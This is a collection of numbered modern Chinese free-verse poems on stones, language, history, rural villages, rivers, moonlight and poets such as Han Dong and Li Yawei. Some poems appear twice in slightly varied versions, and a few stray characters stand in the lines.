让一块石头不再是它自己的 那块石头。 白日照耀，石头一开始就举了白旗 我对于物和情感的关系感到了 不满， 向那石头的最终冰冷才作为了开始 像语言重复于自身 石头体内打出的沉闷声响 以近似的方式，以历史曲折 带着错误的论断。 以一双手。 我从现在再次纠正了过去 相应于一颗石头的冰冷之时， 那些耳目闭塞的情感 从来都不会，不满于自己。 人怎么是物的回声，属于历史 仅仅由诗人群体来抵抗着。 一路上16 一路上 《一路上》 一路上有多远呢 让一块石头不再是，它自己的 那块石头。 白日照耀，如果石头一开始就举了白旗。 我对于物和情感的关系感到了 不满， 向那石头最终的冰冷才作为了开始， 像语言重复于自身， 石头体内打出的沉闷声响。 以近似的方式，以历史曲折 或带着错误的论断。 以一双手， 我从现在再次纠正了过去 相应于一颗石头的冰冷之时， 那些耳目闭塞的情感 从来都不会，不满于自己。 人怎么是物的回声，属于历史 仅仅由诗人群体来抵抗着。 密布17 《密布》 这是一个人向未来做出了承诺， 会静静地活着。 我要找寻的人 在沙粒，石头间， 密布的它们混同了生命。 生命正朝着一个粗糙的方向 赐予我模糊和近似的答案。 如果你并不担心， 文字桥梁的通过，换来的 只是属需要未来的一阵巨大响声。 当一个特征盖过了另一个， 当响声的不免巨大原因于过去而牵连着。 石头走过了石头， 为什么要让我去面对 石头与人平等之后再次垮塌的历史呢。 我在没有路的荒山上 我走在没有意义而来的困惑之中吗？ 山头18 《山头》 从头到脚的绿 直接让一座山沉默。 让一座山沉默的拟人， 太阳西斜的另一个出口 悬挂在天边。 它动身千里， 在土地上留下了被火烧后的烙印， 成为了这里的一座山。 对它者的抒情中我一直贫乏， 当一座山峰沐浴着属于未来的赞美之词， 这些属于未来的地方。我已经厌倦 在彼此的调换之中产生了新奇。 我又是那个沉沦的人， 向上的求生欲驱使着我， 我的语言清脆的响声， 迷惑了我。山峰的阴影投下了寂灭的边界。 密布19 密布 《密布》 这是一个向未来做出了承诺， 会静静地活着。 我要找寻的人 在沙粒，石头间， 密布着混同于了它们。 第二天难不成由无数手掌送来， 生命朝着一个粗糙的方向需要多大的勇气呢。 所以我退了回来， 所以我爱，在爱之中热爱 赞美太阳 在大地上寻找可以通行 而使得语言消失的桥梁。 我知道，今夜， 有人会逝去，而我波澜不惊 我知道这阻隔的水呦 在尘世里面划下了二十四小时的指针， 当一个年代里面有了生生世世 用来控诉的良心。 可是谁呢，会亲近我 说出了爱，用来阻隔，在水一方 也以现代对于古代而言， 多么的古老。 连我的语言都埋葬， 破晓，模糊的晨星依然还在升起。 点亮20 《点亮》 未来已经被悄悄的泄露， 还有人点亮蜡烛 照亮中依然属于阴影， 匆匆的渡江远去。 往下挖掘， 往下刨， 让土壤停留在天空 随时随地能找到位置的那个地方。 我再次的谈到了土 未来胁迫着我的一个事物。在那些属于平静 和饮食的少之又少上面 或者语言 一下子因为雨水的到来，而停顿了。 我在沉默中走着 有时候比你远一些，成为吹蜡烛的人。 点亮的心思太过于小心谨慎， 你还是一直在那里不移不动。 年代21 《年代》 在六十年代中， 把目光投向了远方。 为了望向远方， 我们需要望向植物， 爬到山顶，躲开 植物的视线阻拦。 继续望向远方的尝试。 偶尔我们收获满满， 获得了一个硬邦邦的馒头 我始终都无法论证你的错误， 如果不是望向远方的努力 在馒头之中我们耕耘了远方。 使那口h现实， 基础于山脚下的村子里面， 那个辛辛苦苦做馒头的女人。 翅膀22 《翅膀》 问题为坠落而生出了翅膀。 青草，在多里面开始多起来了。 叶子在问题有关于事物的 朦胧之中才可以呼吸。 如此的畅快，除了阻隔掉了 赶来的蝴蝶 让飞翔在河水的另一边徘徊。 它从另一边山坡赶了回来 依然还在领受，因难以回答而来罪责。 我们因为恐慌于荒芜的而生长， 春天包括了把实情说出 青草有关于人类， 困难在于一路歌一路唱个不停。 像我们不允许自己停止生长 这与那脱离群体之人 他不断的解释，他弄巧成拙 而落在了绿色的草地上。 翅膀23 翅膀 《翅膀》 问题为坠落而生出了翅膀。 青草，在多里面开始多起来了。 叶子在问题有关于事物的 朦胧之中才可以呼吸。 如此的畅快，除了阻隔掉了 赶来的蝴蝶 让飞翔在河水的另一边徘徊。 它从另一边山坡赶了回来 依然还在领受，因难以回答而来的罪责。 我们因为恐慌于荒芜的山坡而生长 春天包括了把实情说出 青草有关于人类， 那人儿一路歌一路唱个不停 像我们不允许自己停止生长 与那个脱离群体的人 他不断的解释，他弄巧成拙 仿佛可以让人的再次诞生， 落在绿色的草地上。 我不认识他24 《我不认识他》 我不认识他， 沉默的处在了 越来越陌生之中。 这不是那个常常梦到的 打开的门。 人从里面走了出来 一头撞进南墙，终获得自由的谚语。 从六十年代到七十 由下向上的这个缓慢过程 人与语言相等， 人，站在村口的天平木板上面 不仅仅翘起了语言。 那女人一下子就刹不住车 哭了个千百年， 弄得未来一阵阵的虚无的胃部绞痛。 弄的除了虚无还是虚无 在历史的虚无上面我们好来 面对那虚无的根基。 好来统一我们自己的谈论和 避开。于是 一支向阳花。在墙头 朝着把所有的一切都变作了有意义的事物。 用力的敲开每一个事物的门。 但从门里出来之后 我还是不认识他。 我认识， 那满天的星辉是语言破碎以后的结果。 我知道， 一切都因为繁多而可以类比， 在客套的语言里面， 在未来被置身于生命的渐渐放松和无聊。 在一个姿势的长廊 银亮的通道。滑下来了，它们。 一个诗人模糊，一个诗人清晰 一个诗人模糊另一个就清晰无比的 抵达了夜晚的疼痛。 于是，他赶牛车，赶马车，问问 鼓声里面住着的乡民。问 他们听不懂的事物 问装聋作哑的妇人。 极速的写信像弹奏一个美妙的曲子， 像向着未来的抗议因此才被 未来的我们曲解。 他写给我，让我 转交给他。他不知道那人的名字 他感觉到了那人儿的存在。 他知道出了村庄， 会有一条波光粼粼的大河。 如果事情就这样结束了， 那么我要问问我要问问我自己， 我是否真是并不认识他。 当他从书籍上面，最终心满意足， 走到了名谓的模糊。不认识我的人关心我 信使的前面和后面全都是水， 肇事的水朦胧了一个年代。 看着25 《看着》 我严守的空白， 在于世界的未来会开满了花朵。 如果问我的不是言语， 在黎明港湾堆满了绿色。 涌动的还不是一支青葱的手儿， 我曾在绿色的根茎旁边 把自己细小的心思藏起。 微不足道的人爱攀附着南风 又总落在了青蛙的后面。 那一整个队列的语言 将在对与错中耗费良久。 我也不会在近似和相似，作为结果那里 沉睡良久。 被自己等待，梦到 抵达一片恍惚之处。 烧火26 《烧火》 一根木头，让我闭嘴。 认清了的现实 鲜活的妻子正在烧火。 为了傍晚的朦胧， 我曾给她讲过一个虚假的故事。 但传说的那一部分， 如果需要成为 和实现。 在我快要被梦境和梦境一般的剔除时 我看着她， 娇弱的身躯，一次次把木柴 放进了火里。 最后把自己也折断了。 住下27 《住下》 你要住下来来和 住下，达成某种交易。 你现在失败， 就会在梦里面尽情的成功。 如果你需要词语， 另一片嘴唇离你离得太近了 在事物需要名字而没有的那个漫长年代里面 你来到的这个古村落 谁又能知道。 它籍籍无名的历史 为与群山外面的人类史相呼应。 它垂直，横放，嵌入 都曾来自于一位姑娘温柔的手。 山坡上的草28 《山坡上的草》 看到山坡上面的这一些草时， 我想起了在远方 别人也曾把我叫做了草。 我无法容忍别人比我更懂我， 更加深入我。 以至让我 由爱生恨。比我更加的逃离 城市。 青草是语言和心灵的f场， 生机勃勃。 我们怎么可以呢， 如此巨大的悖论放在了远方， 让巨大的群山支撑起 现代文明。 深一脚29 《深一脚》 深一脚浅一脚，为了踩断 而深一脚。 那个黎明的慌息， 还没有尽头，把语言笼罩。 这浅一脚咬紧了牙关， 收回的时候三心二意是 释然放松之后的轻松。 我在那个时候是你， 让你的唇贴在黎明那条线段上， 沉默不语， 中途30 《中途》 要由很多诗歌撑着 并因此沉默。 那是你的中途， 人声的标记，说出 和掉落是同一个。 而在那发生在傍晚的闪光里面 我希望有一些具体 伸出手的人能因为，一直向前 而触摸得到。 像“什么”，因为同一 又是接纳。 像身边的景物因为人也并不因为人 而纷纷的往这个词语里面汹涌。 边缘31 《边缘》 能这样一直平稳 我就能猜测得到你的梦。 而在梦的边缘， 如果你说话，你就会 尽力的去摇动 一株由我栽种的美丽的桃树。 入梦的时分我们告别了彼此， 那是一个人漫长的起点， 是生， 是死。 即使一些都装在了里面 隐去了姓名，农夫隐姓埋名 四季轮转里面 某天夜里我又咳出你了来， 月下32 《月下》 那一路达成的合约 是诗人和文字。 包裹在语言里面的江水 意味着漫长的旅程 并不满意在水上漂泊的船家 为了生存才短暂的栖息在夜晚的水上。 把他如此一生的众多琐碎时刻 串起如美丽的珠子。 又在他想起了自己家中，心爱的妻子 那些做好准备的古代诗歌 生机的萌发无论出自于什么原因。 而在撒向江水一般的诗歌之梦里面 他从另一条路上赶了回来 他变成了我，我就会推开你 妻子， 月下的门扉。 无题33 我的打开，为时间本身的需要 而应富有耐心的等待着。 我等待着，还要你满足我的要求 为败给未来而打扮的漂亮。 急匆匆下楼，穿过小街，再等红绿灯， 过了马路。我们都已经见过且因此 才熟视无睹。 那并不是另一条河流，那些水的线条只是 线条，亲近哲理和下午的光芒。混合着反射 在人们的误解之中存活。 但你是旧的，是来客拒绝了你。也是我 良心之中心软的部分不断的 被重提，被我用来覆盖掉自己粗糙 丑陋的部分。于是你来的越近我就愈加的看清了 模糊得真理。 我与你并不是首先得一对， 模糊与清晰，问询和应答。 反面34 《反面》 在语言的反面， 纸张在反面。 在所有事物的反面才得以自由。 还没有自由自在的把花朵之美 开的美丽开的艳丽 未曾梦到果实中偶然和必然。 通过夜的反面， 找到的是院子，而不是一棵树？ 别的， 是什么 我们已无法阻止那反面。 体内35 《体内》 事物要轻的放下 它已经在历史中躲过了 体内轻之又轻而把历史创造。 事物的情绪 在遥远的山村，事物的性格 在人的性格里面随着脱落的动作 而偶然显露。 对着我的思的知只是一束光， 光只是会被总结， 我沿着光芒确实有一些企图 那些面对着梦的事物。 它们同样在另一个地方相向而行 怀揣对于水的厌倦，语言的热切 我明亮的窗口是我 想象的尽头。 而如今现实并不是一片片的雪白 我，只是把一个事物放下 轻轻的。 如果没有一种思想的准备 那来什么畅通和发达呢。 那些我难以祛除，并且一直尝试于此 而投射给事物的影。 大河36 《大河》 历史上没有一条河， 老虎否认一条河。 让它总能回到自己钟爱的山上 人与老虎之间，达成了某种默契。 第二个人也否认有过一条大河 老虎不再吃人了。 躲到了山上，拿走人类的良心。 仅仅语言和肉体的交缠就疲惫了它， 四个蹄子趴在了草丛里面。 只要它一睡去， 人类就会在一个打虎的故事里面 再次把我们的英雄们复活。 远来者和未来者， 有时候这指向了过去。我们 的暗语是我们其实都是一个群体。 不如让老虎与人各取所需 冲着群山而不是冲着江水。 白天和黑夜， 睡与醒 还有假渐渐的变成事实间替换着， 车子37 《车子》 为了听懂我才坐的 出于听不懂，我向着听懂。 你的唇延伸的太远了， 为了否认自己的年龄和精力 一十三条被我夸大的小街 在瑟瑟发抖的震颤中勉强稳定着。 添加了多余的文字让它们 从人类社会这个现代的 共识里面再一次回到了钱币 和交易。下午闪耀着光芒 在生疏和看轻了钱币之间撕扯着 我们的心灵。 一时之间羞愤，我们相对而行 骑得更快的你，试图甩开 我座位上面的沉默， 大渡河38 《大渡河》 历史上没有一条大河， 不信，你就去历史上看看。骑上老虎 沿途形式美丽 语言淹没了你。 不信就骑马归来，放虎归山的语言 在人群里面制造莫在远离的骚动吧。 你从此是第一个摇动桂花树的人 晃动得树叶间落下来的 是酒。现实里面的语言奇迹 像受孕的少女美丽，满足又填补了， 人类的空虚。 在那些梦境里面，人都说你是假的。 那个一路上刚上路就被景色弄得走不远 又灰头土脸的人。 矛盾的在了干净与尘土之间 像是本就打算了衔接现实 而等待着天亮里面人们予以纠正 对错误的指出。 逃脱39 《逃脱》 事物真的是会在找到之中，颤栗。 今夜它颤栗个不停，我找到了它的 另一个身份。 但给予的社会地位被拒绝了 它就逃脱向， 古老因果律中的隐秘。 我以为事情还会重来一遍 那我热烈爱着的人， 她是否因我爱着而因此爱着别人。 松树的方向一冲向我 就在众多的爱意菲菲之中 我不满于自己的位置。 逃脱向我的事物，在我的语言上面 又提出过分的要求。 我就是这样活着的，会中途停止 以为是疲劳了。接着走 试图对一点点收获默不作声而 又失败。 考验着人类的耐性而 唯有一点点被我抓的很紧， 抓出了血痕的事物脱落的树皮和鳞片 因此是我全部真实的陈词。 嘉兴40 《嘉兴》 问的人多了起来， 我希望如此， 多了 一个词就能把理由都代表。 我试着重新开始 念白日月轮转，接着大地 和它一起星辰是刻度 白天又纷纷流逝掉。 我喘息着重新开始， 因为走是假的，离开的人 是我要去寻找的亲戚 如果我只能在一个寻亲中 孤单的拿着登机牌，火车票 一路走发出着声响。 如果还有别的，被我摆脱了的道义 容许给我反驳的理由， 我也虚弱的喘一口。 反面2－－－41 反面2 反面 《反面》 在语言的反面， 纸张在反面。 在所有事物的反面才得以自由。 我的话要反着听， 饭菜要反着做。 你有时候不说话， 直勾勾的只是看着我，我是 人类的某一些赤裸。 反着与正着都不合适了 跳进一团火， 做最后的努力， 火在水中挣扎，人类的语言 人类的建筑还在制造。 在惯性的阴影里面 语言的长廊陈旧，过时的 摆放在了地上。 影子是人肉体的反面， 它有痛的时候， 但不是现在。 但这种并不主要会延伸， 作为一个早已经心一横，丢了自己的人 人类在世界之中的赤裸本质 更为清晰时， 是光着腚的人，原始的祖先 早早的 就在果园里面羞红了脸 ———他听到了未来的语言， 他于是紧紧怀抱着一棵树。 去吧，南京42 《去吧，南京》 去吧，北方很远 把话捋直，把过去的 严肃的姿态半真半假换掉。 到了就是在，在就是 我不能让你停止，他不能让你停止 女人能让你停止。 中间，停止成空白，空白才能悬疑 文字中的北方悬疑， 爱情的悬疑在大风对温度的肆虐之中 小说在你手上。 去吧，怎么我中了圈套， 成了读者 我一读，就成了逃兵，又矛盾于 命运被注定了的冒险者。 因此我幸福，我读到 去吧，去北方去把南京标记出来。 你应该是深知到此， 去广州，红的透亮，语言在镜子里面x福 南京一照你就住在了 语言前后邻居里面城市 下雪的郊区。 去吧，快和慢，轻和重 去我的失败里面不屑一顾， 南京我没有去过， 标记因此永恒。 文字里面的布谷鸟 法国梧桐提供了战场。 去吧。 支流43 《支流》 我羡慕那些在大河边生活 着的。 被没头没尾的叫出， 却共用一个名字，身子 往骨里面塌陷 因果奇怪。 但其他的一切自然， 湿润的诗人的诗歌 像渡口， 蓝色被拒绝，书写的附近 急匆匆的我登上了 去那里会一路顺风的船。 夜饮44 《夜饮》 那里，埋着宝藏 用酒浇筑，语言自我迷醉的形式。 那支拿起酒杯的手 那个往事多半模糊不清了。 这真是令人伤心的事实 在我们自己对自己的关系上面 身体颤抖， 从牙齿，到手。 一直隐而不发的人 最终在沉默里面失了自己， 像酒的闪耀着光线的另一种形式，美丽。 在此之前， 走向它，因为迟缓 也出于停顿所带来给予人的空虚和 无助。 这里45 《这里》 这里，就是未来。 我面对着一百个甚至一千 又因为不满， 而对于稀少的不能做到 在沦为实现之中下降。 我相信过去的语言是 说光芒产生于神秘， 语言人的裤脚和鞋子一般 走动，当它不能抹平一切又别无他法 那些美丽的语言我们已经 不能像再看白云和花朵一般 再次耗费我们的心神。 沾湿了的，不仅这些便止步于这些。 这还是那光芒 产生自徐徐的下降。 我始终认不出那是被未来所涉及的 某一种徒劳。 屋外下着雪，很大 屋子里面窗户亮着 为一种无人察觉的比喻 那个被需要的人，需要他的毫无察觉。 李亚伟46 《李亚伟》 李亚伟和张枣， w。的两种形式。 诗歌把乳房向上，向着 哺乳， 像动物那一般的 向上，我们需要天才。 痉挛47 《痉挛》 土地一次痉挛。 有过，这是个轻凭证 医生和他爱溺的护士，白色的 在灰色中，里面粗糙的农民 为了区分和区分的困难 还有学生和时代的回忆 在门外说的东西就是这些， 为了弄乱。 时代很容易成为首当其冲的东西。 那么为了什么 痉挛一次的具体景象。 在诗歌里面，人性的爱意之后，书写 一一都大于了一片叶子本身。 写的， 是一片叶子还是叶子的相关罪证， 如果一片叶子在秋天里面 很容易迷惑人。 我们沉默不语， 我也， 无法拒绝你邀请过来，伸向我的手。 我甚至还会主动的把叹息和解释 应和着你我心意的说出。 我们都不自满， 在秋天一起沉默。叶子 很低 事实48 《事实》 我们看看， 再瞧一眼， 离去时说出它们。 分配的不公，时间 在自身之内踟蹰，所展示的内容。 人一定在叙述里面 被景象晕眩了眼睛。 语言在银色指针的不断向上举起之中 人自我淹没。 为了敲碎这一切：说出的 耗费总多过刻度轮转。 像一面孤单的圆形的墙壁， 再走一次极端， 再像一个逃命之徒， 手捧他的身家性命， 已经过分的单薄了， 之瞧一眼， 看一眼。 这是停下来以后发生的事实。 村庄外49 《村庄外》 我们清洗文字， 一次又一次。 而不是折磨它， 像太阳光线般的一滴水滴， 像镜子被文字面对着。 在自然这条路上面， 水属于无奈的部分。 语言一消失， 水就被一双手押着， 四散，却依然冲刷着文字里面的 理由。这异乡的现实处境 除了破败，为寻找所准备的一切 在月光下面裸露着。 面对着我们由想象所支撑起来的城市， 在一个人的身上，他经历过现代化的不顺 在河边又谈起 在语言表达上面步伐凌乱。 酉阳50 《酉阳》 语言还要走很远， 那么，它来到了地上， 来不及休息， 就要将它看到的事物来说出。 如果， 这一种情形实为反驳， 在冬雪以后 而又收去了其中难以克制的融化。 因为寒冷， 而我们的骨头里面有一扇门， 门内有酒有肉。 诗意框定了的人， 从故乡的大山，小河边走回去时 就看到了这时代的傍晚的景象。 也留给我属于未来抒情的一条生路 在河边的那一些青草， 听着听不懂的锄禾日当午。 那些语言最终像风， 由两种力量的博弈而来。 当他们一同在时间里面实践，践行。 它们， 有么说么，和把酒当做文字肥料之人 一一都在我一个读者的脸上 踩出很多的凹陷。 上海51 《上海》 我不清楚， 一个人会将一个城市抱的多紧。 除了上海还是上海， 这在我离开之前发生了。 我离开语言的原因是， 语言，放弃了这幅干瘦的脸。 伸出手，能摸到空白处的良田， 生长52 《生长》 向生长投降， 抛出的，不会再回来了。 抛吧， 为了抛弃的谨小慎微便只有一次， 为成为一个市民， 常听，又在说中让自己听不懂。 抛，会有三千里江月明 我在几天前就来了， 几个月之前，越过了春节 一切冷冰冰的。过分的坚硬，并且 把坚硬推了出来。 像语言的防波堤上，语言波浪的形状 我敲了敲， 使我不断的这件事耗费了几个月。 所以，我一直沉默 几天之前来了，今天突然的寒暄你。 这是因果。 说抛吧，我又怎知你承接不住， 又怎能去知晓， 抛出去的事先就充满了矛盾， 并在矛盾里面才把爱意包含呢。 三千里江月明里面 其实大部分都是荒芜的村庄 那些古代村庄向着 现代的村庄靠拢。 我们在现代村庄的消失里面 被给定了的结果 那一个又是它们的命运呢。 像在灰烬之上再次的复苏 从什么时候开始它们变成了人类的 语言。 以偶尔的人的放纵，而更多的 人的为所欲为又把迷失覆盖之时。 投降53 《投降》 向生长投降， 没有名字的走在春天的山坡。 用更多的时间猜测 在自由自在里面说出 偶然能有人们空虚的心。 把心儿种在土地里面， 在投降的土地之前，让那 另一番模样 慢慢的认出了自己。 就这样，你再次的被抛弃 走， 山谷很深。如果有这样一处山谷 在雨天雨会下的厉害 在雨天我们应该在这里 盖一处房子。 简陋的部分由语言填补之外 真实的触及着真 人不可能找到这个山谷， 住进去在回声里面 从人到人， 我的语言被揭示也虚假， 便投降。 月光54 《月光》 月光照着， 明亮的光照着木门， 月亮看着这一切。 我躲在屋子里面 同时想象了螳螂和黄雀 空气，已经从没有归属那里 受到了书写信笺的影响而失败。 而向外要度过，窗棂横竖的栅栏 面对着月光的这种无形通道， 已存在了千年。 我一声叹息让我无法拿捏的准 有时候黄雀在精神的世界里面 像我一样生出了感情色彩， 有时月亮从容的像执迷不悟 在一种早已经弄假成真里面 我徐徐展开 文字法庭里面，那更加真实的谚语。 月光55 月光 《月光》 月光照着， 明亮的光照着木门， 月亮看着这一切。 我躲在屋子里面 同时想象了螳螂和黄雀 空气，已经从没有归属那里 受到了书写信笺的影响而失败。 而向外要度过，窗棂横竖的栅栏 面对着月光的这种无形通道， 已存在了千年。 我一声叹息让我无法拿捏的准 有时候黄雀在精神的世界里面 像我一样生出了感情色彩， 有时月亮从容的如此执迷不悟 在一种早已经弄假成真里面， 等待，我徐徐展开 文字法庭里面，那更加真实的谚语。 桃花源记57 《桃花源记》 面前撒开五千里江河之远 为探究你疲惫里面的语言。 为语言， 这嘴唇变作的门， 落得了投降。从这一历程 你，不是陌生人， 你来自陌生人，通过了讲述， 还没有遇见我之前，熟悉着的又回到了 自我迷失的陌生。 那是你心中钟爱的桃花 难不成，你又武陵人一般 视木为桨。山川草木里面 演绎一场起y。 那么，你也见过我。在武陵源， 我记不清了。模糊的手直指四川盆地的凹陷。 所以， 我没有回答。 那些鞭策我的语言转过头来 鞭打着你， 我遇见了你， 转身，有五千年的轻松和侥幸感觉。 武陵人58 《武陵人》 你慢下来，我就 在你语言再次的年轻上面愤然反抗。 即使我做了调整，历史 江水一般的宽和容忍。 夜里泛起的波浪后面我注定了失败。 劫后余生给予 如果也是一种注定。只是 更适合在夜晚思考，猜度 二者混合，需要江水来压平。 如果在我睡醒之前都没有酒和灯盏， 在江边我寒酸的祈求了一夜。 语言失败的景象， 才更容易没有重量的 随风而去，成为历史中的美丽事迹。 我在等你的时候，未来 就已经在等我了。 命运的工程车已经使我， 在伤痕累累之中最终获得了永恒的 健康。 请你来，出于慢， 一种逻辑。带着大鱼大肉 如果你以赴死的决心， 那些慷慨， 人为刀俎我为鱼肉， 我们就从这这里开始， 叙旧一般的开始我上面提到过的 这一些千古迷题。 入梦59 《入梦》 有的人敲击， 有的人做梦。 有的人正梦到 他入睡之前的困难。 手儿在空中， 张牙舞爪的抓着。 无果属于历史了，并不是现在 一种回答，却是平庸。让我 在抵达某一处， 村庄的朦胧那里 身体化作了一缕， 回荡开来的声音。 韩东60 《韩东》 他在听吗， 如果听是最低的语言。 或是原因并不重要了， 那已经消散了的结果， 当我在远处高楼上面大声的说话。 当他以自由自在的方式 并在我耳目闭塞里面难以被预测。 他的沉默是一朵花， 冲突着的男人。 走在街上，进了酒店， 赴宴，将诗和车票在写中同一。 又该如何让一个人跟路上的风对话， 或许，他也找到了对无知者怜悯的 方法， 在那低头不语里面， 有一个大千世界过分的美丽， 我，即使只能看到他的部分。 回响61 《回响》 没有回响传来的时候， 我们是一个整体里面的孤独。 我们在事物的一端， 那是我们的一生。 我们在里面想象了已在其外 像那第一个发明了语言的人 把不可祛除的称作了形而上， 那是一些风景 总在浮现的时候暗淡 又因为阴郁而暗淡。 当我获知到了被不断的盛放， 借此形成。 语言像是一种抵抗， 而微小的1位置对于我的困难， 它超出了我， 我又渴望平静的追求着它 从遥远之处到来。 山丘62 《山丘》 山丘很高， 直抵着我语言的优先处。 在文字里面山丘本身， 也隐含继续长高的意思。 问询，等待回答 压力感，别人的提醒在我心中 激荡起铃声般的局促。 我只是为了求一个平等 平等也会再次的把我拯救。 带着这种心思，人脆弱的成为了我。 念白中我想小心的看着这失去的 和难以理解的一切。 从高山到谷地， 矮于大地的水平面。 一直借着人的心灵， 高的事物实现着它的目的。 遗忘63 《遗忘》 我一目十行 就是慈悲。 因为深，因为他们痛苦 需要怜悯。 他们已经不记得了， 他们在那个来看过他们 并嘱托说会把他们写进诗歌里的人 那里。仅留下了一个瘦削的身影 在诗歌和人的关系那里 开篇明义， 进来是身影，出去则是诗歌。 成了的诗歌有时候也难以处理道德 便趁着大雪之夜的回忆弥漫之时 再次的推门而入。 那一次到访成为了梦魇。道德 被痴线一次次冷漠的窥视。 他们需要我一目十行， 在快速之中我应该 带着一个宽恕的心。我应该 表明一个读者应有的尊严，写下我的名字 一个群体又在我对阅读的遗忘 和肤浅中慢慢的浮现。 白天对应着黑夜，大地 永久的在对白天黑夜的对应之中。 我向遗忘那里走去， 动身的庄重感是片刻的， 陡然也向着须弥。 揭露64 《揭露》 我应该趁着自己还清醒， 自我紧张的警惕之时。 十几年了，再过不了几年 像是就成了另一个事情。是 二十年了。 我边走边说，不清不楚 在对自言自语的时候清楚。 甚至我从愈加的清晰那里刚刚 逃了出来， 回来，这个词语也代表着某种 程度上面转危为安。 我们，我与我的语言， 理解，在他人那里也急匆匆的被甩掉。 人人都需要一个心灵上的倾听者 以离开方向上面的相反 是递交了一封诉状。更往前面 事物都变得清楚和通顺。 我此行的目的地是那里， 那个身穿白色衣裳的女子，如今， 求助于我。 像是误解无处不在一样， 揭露又是什么呢。 扬州梦65 《扬州梦》 扬州要等待很久， 才能跟济南相同。 一个人等待了太久， 我在自己的旅程里面 弄乱方向，依然找不到转折。 扬州和济南不同， 往桌子上面，拍上几块碎银子 蒙着面颊 当那好奇面向我时， 为一种平衡， 异乡人盼望没有一种因果 想象中的深通过行走 其中有一些属于往身体内部 还没有过去的部分。 第1932章 ————66 《1932》 1932， 作为时间以墓碑的形式在 大地上面存有着。 我说的话，不仅仅是现在的 未来的， 现在涉及未来的。那些期盼 并不是甩掉过去成为了可能。 时间在墓碑上面也会衰败 我以为那是一个路标， 行过的地方，与一个标志物 一个简单的有可能让 修一条路成为了可能。 生微小的部分是否会拒绝这种轻呢， 被那些短时间里面 需要不停的解释才多少可以明白。 向着长眠者对于语言的慷慨， 异乡音是第一次的美妙的歌子。 卑微的生命生活在一种睡眠里面 阴影将我们覆盖， 必要的生，我的肤浅 仿佛看到了真正的诗歌 梦醒之后我走了过去它消失不见。 在同一条路上起初 那也是上山的路。 那也是下山的路， 全都是一些回望的时刻， 这镇子在我心爱的祖国土地上。 她67 《她》 墓碑的本质，也需要以语言来叙说。 她，一个人。 走在通往它本质的路上。 让我用语言来为她送别。 我不断的说出， 从送别到了怀念。 建筑仅仅是一捧土壤， 在语言上面溅起了灰尘 和人咳嗽的声音。 这个充满了间隙的下午， 春天刚来，阳光也复苏一般的 垂下。也只有它了， 通过了我，又带着我的一些缅怀 通过一条严肃的通道， 肃穆最深处抵达。 我们68 《我们》 困扰我的很多都是旧有之事。 生下来，起初在村庄 居住已是既定的事实。 那些行的微小是否真的 在不值得之中忽略掉了。 忽略掉它们的仿佛也不是我们， 我们属于人， 或者人这个字。 捕鱼70 《捕鱼》 他要回去了， 他已经梦到了这一切， 自己要回去。 这在车票，船票之前。 回去以后会有漫长的孤独和劳作 对爱情的期盼在那个时候才发生。 从河边归来， 捕鱼者，但也没有人会在意他的身份。 树木，树木的1影子将他笼罩 他一会又走了出来。 避开那些过去童年时候已经熟悉的地方 语言的浅滩如今也已经老化。 但并不是衰老，或他 是那个群体之中寻求和疑惑的其中之个。 会被回想的现在有着丰富的意义， 在此刻却如此平常。 这是他始终难以想通的。 傍晚71 《傍晚》 去单个的文字里面等待， 语气的 内容。每一个事物，无论大和小 都带有杀机，是如何的扑面而来。 傍晚，无论在这里和另一边都属多余。 被凸显而重要的， 我们早晚也要回来。 仿佛一切突然变得正式， 又因为确确实实的经过了一番考量 而让人难以反驳。 四面楚歌73 《四面楚歌》 面前的这些事物 可能属于某件事情的结果。 水落石出，它们是水蒸发之后的裸露。 无数人都看见过这种情形， 太过于普通， 与灯盏有着亲缘，接受了人们的要求 以床铺挤占了其他东西的地方。 某一句土话， 使我从诗人之于众人的平常， 普通人正试图向着白天与昨日的哀怨那里面 退了回来。我是1一阵 穿越了过去，和更加过去的风。极速 因为生命。鲜活 有其他要承担的任务。 而今，我就知了。沉默绝非沉默 本身是一个充满了性 和爱的歧路解决。 那些我所经历，经受的 正被面对着。那些方法 在人的无可奈何那里徒劳了听闻了 诗与歌曲同一的后果。 楚霸王自刎了一整个跟随他的队伍 直到最后， 作为一个解题之人。他越过了男女之爱 才触摸到了人们忠心耿耿愚昧模样的良心。 跟那些随着夜歌四散奔逃的 又相似于一个可能没有结果的承诺。 我愈加的等待， 那来者去时更加没留下些什么。 在这种轻之又轻上面 样子像水， 但手却是无力的。 半坡74 《半坡》 我可能会去一次远方的城市， 出于不多的误解， 称作了南京城。 记忆的深处随着时间 淡化，有一些依然在最初的阅读之后 没有消散。 那是诗人的故乡，居住地有关着 文字和沉默的把它言说出来的诚实关联。 我可能就是一首诗歌的1一部分， 因我， 它算不上一首着名诗歌。又因为遥远， 像它慢慢的开始 爱上了它自己的朴素。我追溯着这种转折 因为， 朴素与开放， 就像我与他。 当夜晚的繁星一点点升起， 爱慕着它们自己， 通过人的语言来说出的美丽， 如果可以同样上升，像 睡眠就是做自己喜欢做的事情， 有一半的爱，和湖水 青草隐去， 在半坡，是否正有另一个人 正看着这与群星同样升起的 我自己想的其他的事情呢。 稍早75 《稍早》 不相信这个词， 它不是来的稍早了一些 而是压根没有离开。 与语言不由自主的结合， 又形成众多的景象 索求着的是因果，令人没有想到 会是一个枯瘦如柴的身体。 身体，它是在还是一直默默的承受着。 空中我望不到的 在心里才形成了舞台。 角色区分开了爱与应该 而夜晚的剧目属于惩罚的天平 失去了平衡。 众人已经听不得任何的解释， 我分外平静，不是另一个 感到心灰意冷的人。 我可以把我的手伸的更远， 在明证那里， 在表明一个人在他的路途上面 休息的时候有一些闲暇。 举起手， 垂下是熄灭了灯火。 手把黑暗举起，让它平静 在于起起落落。 水76 《水》 由水所形成的同一个事物 有两个不同的名字。 湖和海。 分别面对着语言和情绪， 两种不同的情形。 以湖的形式描述它 或以海的形式。 像这种水注定是某种奔涌， 在于小和节俭 又在行程上面沉默， 让它们始终在自己之中无形。 XZ77 《xZ》 为了定格住xZ的朴素， 我们把手机带进了xZ。 拍出来的照片里面，湖水纯净， 草木原始。 没有一个入藏的游客在照片里面 沉默78 《沉默》 使我更加的沉默， 原因也使我沉默。 沉默的人怎么会有平静， 或者平静就是可疑 可以让我由此投降，但对于一个 肤浅之徒 交出的只有贫乏和寒酸的事物。 只涉及饮食，酒肉醉倒了梦想。 这个梦听着窗外的动静， 沉默正在替我守卫。 没有一个向外的事物， 未来的历史发生以前就已经被塞满了 因此，像那个始作俑者 以梦作了托词。 未来的景象我已经预见到了 紧张不安的是沉默 本身，在外表的变幻之下 